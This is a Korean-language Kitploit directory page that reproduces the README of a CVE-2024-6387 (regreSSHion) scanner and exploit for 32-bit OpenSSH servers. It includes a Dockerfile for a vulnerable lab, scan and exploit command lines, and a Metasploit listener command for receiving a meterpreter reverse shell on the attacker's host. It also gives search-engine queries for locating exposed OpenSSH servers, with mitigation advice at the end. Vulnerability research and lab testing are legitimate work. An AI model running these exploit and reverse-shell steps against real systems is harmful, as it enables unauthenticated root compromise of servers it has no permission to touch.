Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6387_PoC — # CVE-2024-6387 (regreSSHion) 스캐너 및 익스플로잇 OpenSSH 서버에서 CVE-2024-6387(regreSSHion)을 스캔하고 익스플로잇합니다. 멀티스레드 스캐닝, 배너 수집, grace time 감지, 리버스 셸 페이로드를 포함한 익스플로잇 모드를 제공합니다. | Kitploit
도구/GitHubGitHub/yassdev221608/cve-2024-6387_poc
Vulnerability ScannersExploitationNetwork SecurityPenetration TestingRemote Access Tool
GitHubyassdev221608/cve-2024-6387_poc

CVE-2024-6387_PoC

# CVE-2024-6387 (regreSSHion) 스캐너 및 익스플로잇 OpenSSH 서버에서 CVE-2024-6387(regreSSHion)을 스캔하고 익스플로잇합니다. 멀티스레드 스캐닝, 배너 수집, grace time 감지, 리버스 셸 페이로드를 포함한 익스플로잇 모드를 제공합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
17981년 전아직 검토되지 않음
공유

요약

이는 본질적으로 통계적 취약점입니다. 즉, 레이스 컨디션에서 승리하고 임의 코드를 성공적으로 실행하려면 많은 시도가 필요합니다. 공격자는 많은 장애물을 극복해야 한다고 Schwartz는 SecurityWeek에 말했습니다. "최상의 시나리오에서도 가장 잘 알려진 취약점은 악용하는 데 4시간 이상이 걸립니다."

OpenSSH 9.8 릴리스 노트에서 개발자들은 이 취약점이 glibc 기반 32비트 Linux 시스템에서만 확인되었으며 OpenBSD는 영향을 받지 않는다고 밝혔습니다.

환경 설정

환경은 Docker를 사용하여 설정됩니다.

1. Dockerfile 작성

root@kitploit:~
# 1.1. Writing the Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
    build-essential \
    wget \
    curl \
    libssl-dev:i386 \
    zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
    tar -xzf openssh-9.2p1.tar.gz && \
    cd openssh-9.2p1 && \
    ./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
    chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

2. Docker 이미지 빌드

root@kitploit:~
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .

3. Docker 컨테이너 실행

root@kitploit:~
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1

openssh CVE-2024-6387.py - PoC

중요 참고 사항!!!

이 익스플로잇은 32비트 OpenSSH 서버에서만 작동합니다. 이는 PoC가 32비트 포인터를 사용하기 때문입니다! 일부 버전은 이미 패치되었으며 모든 서버가 취약한 것은 아닙니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04

📜 설명

OpenSSH 서버의 원격 비인증 코드 실행 취약점

CVE-2024-6387.py는 최근 발견된 regreSSHion 취약점(CVE-2024-6387)을 대상으로 취약한 OpenSSH 버전을 실행 중인 서버를 식별하도록 설계된 가볍고 효율적인 도구입니다. 이 스크립트는 여러 IP 주소, 도메인 이름 및 CIDR 네트워크 범위를 빠르게 스캔하여 잠재적 취약점을 탐지하고 인프라의 보안을 보장합니다.

OpenSSH 서버(sshd)에서 신호 핸들러 레이스 컨디션이 발견되었습니다. 클라이언트가 LoginGraceTime 초(기본 120초, 이전 OpenSSH 버전에서는 600초) 내에 인증하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출됩니다. 그러나 이 신호 핸들러는 syslog()와 같이 async-signal-safe하지 않은 다양한 함수를 호출합니다.

📁 목차

  • 📖 세부 정보
  • 🌟 기능
  • ⚙️ 사용법
  • O 출력
  • 🔍 호스트 탐색
  • 🛠️ 완화 조치
  • 💁 참고 자료
  • 📌 작성자
  • 📢 면책 조항

✍🏻 세부 정보

기술적 세부 정보는 여기에서 확인할 수 있습니다.

Qualys의 연구원들이 2024년 5월에 발견하고 CVE-2024-6387 식별자가 부여된 이 결함은 sshd의 신호 핸들러 레이스 컨디션으로 인해 발생하며, 인증되지 않은 원격 공격자가 루트 권한으로 임의 코드를 실행할 수 있게 합니다.

"클라이언트가 LoginGraceTime 초(기본 120초) 내에 인증하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출되어 async-signal-safe하지 않은 다양한 함수를 호출합니다."

"원격 비인증 공격자는 이 결함을 이용하여 루트 권한으로 임의 코드를 실행할 수 있습니다."

🌟 기능

  • 빠른 스캔: CVE-2024-6387 취약점에 대해 여러 IP 주소, 도메인 이름 및 CIDR 범위를 빠르게 스캔합니다.
  • 배너 검색: 인증 없이 SSH 배너를 효율적으로 검색합니다.
  • 유예 시간 탐지: 선택적으로 LoginGraceTime 설정을 사용하여 서버가 취약점을 완화했는지 탐지합니다.
  • IPv6 지원: 직접 및 호스트 이름 기반 스캔 모두에서 IPv6 주소를 완전히 지원합니다.
  • 멀티스레딩: 동시 검사를 위해 스레딩을 사용하여 스캔 시간을 크게 단축합니다.
  • 상세 출력: 스캔 결과를 요약하는 명확하고 이모지로 구분된 출력을 제공합니다.
  • 포트 확인: 닫힌 포트를 식별하고 응답하지 않는 호스트에 대한 요약을 제공합니다.
  • 패치된 버전 탐지: 알려진 패치된 버전을 인식하고 취약점 보고에서 제외합니다.

⚙️ 사용법

OpenSSH 서버 스캔

요구 사항: python3 최신 버전

root@kitploit:~
### 명령줄 인수
mode: 작동 모드를 선택합니다. 선택지는 scan 또는 exploit입니다.
-T, --targets: IP 주소, 도메인 이름, IP 주소가 포함된 파일 경로 또는 CIDR 네트워크 범위.
-f, --outputfile: 결과를 저장할 파일 (예: result.json).
-g, --gracetimecheck: 버전 식별 후 LoginGraceTime 완화 여부를 확인하기 위해 대기하는 시간(초) (기본값: 120초).
-n, --nic: 네트워크 NIC (기본값: 'eth0').
-o, --output: 결과 출력 형식 (선택지: 'csv', 'txt', 'json').
-p, --port: 확인 또는 공격할 포트 번호 (기본값: 22).
-s, --speed: 레이스 컨디션 확률을 높이기 위한 스레드 수 (기본값: 10).
-t, --timeout: 연결 제한 시간(초) (기본값: 1초).
-H, --resolve-hostnames: 호스트 이름 확인

예시

단일 URL/IP 스캔

root@kitploit:~
python3 CVE-2024-6387.py scan -T example.com -p 22

단일 도메인/IP에 익스플로잇 실행

root@kitploit:~
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0

권한 상승 프로세스

페이로드 수신

먼저 아래 명령을 실행하고({yourip} 핸들러 변경) 위 명령으로 익스플로잇을 실행하기만 하면 됩니다.

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"

출력

이 도구는 가독성을 위해 콘솔에 색상으로 구분된 출력을 제공합니다:

초록색: 성공적인 연결 또는 작업. 빨간색: 실패한 연결 또는 오류. 노란색: 경고 또는 주목할 만한 정보. 청록색: 일반 정보 또는 상태 업데이트.

🔍 호스트 탐색

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ 완화 조치

  • 패치 관리: OpenSSH에 사용 가능한 패치를 신속하게 적용하는 것은 취약점 격차를 해소하는 데 중요합니다. 적시에 패치를 적용하면 알려진 익스플로잇이 시스템에 악용될 수 없도록 보장하여 공격자의 공격 기회를 줄일 수 있습니다.

  • 향상된 접근 제어: 네트워크 기반 제어를 통해 SSH 접근을 제한하면 추가 방어 계층이 제공됩니다. 이 접근 방식은 SSH 연결을 승인된 네트워크 또는 IP 주소로만 제한하여 잠재적 공격자에 대한 노출을 최소화합니다. 방화벽 규칙과 같은 도구를 구현하거나 VPN을 사용한 보안 접근을 통해 이러한 제한을 효과적으로 적용할 수 있습니다.

  • 네트워크 분할: 네트워크를 세그먼트로 분할하면 잠재적 침해의 영향을 억제하는 데 도움이 됩니다. 중요 시스템과 민감한 데이터를 네트워크의 덜 중요한 부분과 분리하면 공격자의 측면 이동 위험을 줄일 수 있습니다. 이러한 분할은 엄격한 접근 제어와 모니터링으로 보완하여 이러한 세그먼트를 침해하려는 무단 시도를 탐지하고 대응할 수 있습니다.

  • 침입 탐지 시스템(IDS): IDS 또는 침입 방지 시스템(IPS)을 배포하면 네트워크 트래픽과 시스템 로그를 실시간으로 모니터링할 수 있습니다. 이러한 시스템은 regreSSHion 취약점과 관련된 의심스러운 활동과 잠재적 악용 시도를 탐지할 수 있습니다. 이러한 시스템이 트리거하는 경고를 통해 심각한 피해가 발생하기 전에 신속한 조사와 완화가 가능합니다.

  • 악용 시도 모니터링: 네트워크 및 시스템 로그의 지속적인 모니터링이 중요합니다. OpenSSH 취약점을 악용하려는 시도를 나타낼 수 있는 비정상적인 패턴이나 활동을 찾아보십시오. 이러한 사전 예방적 접근 방식은 위협이 피해를 입히기 전에 식별하고 대응하는 데 도움이 됩니다.

도구 다운로드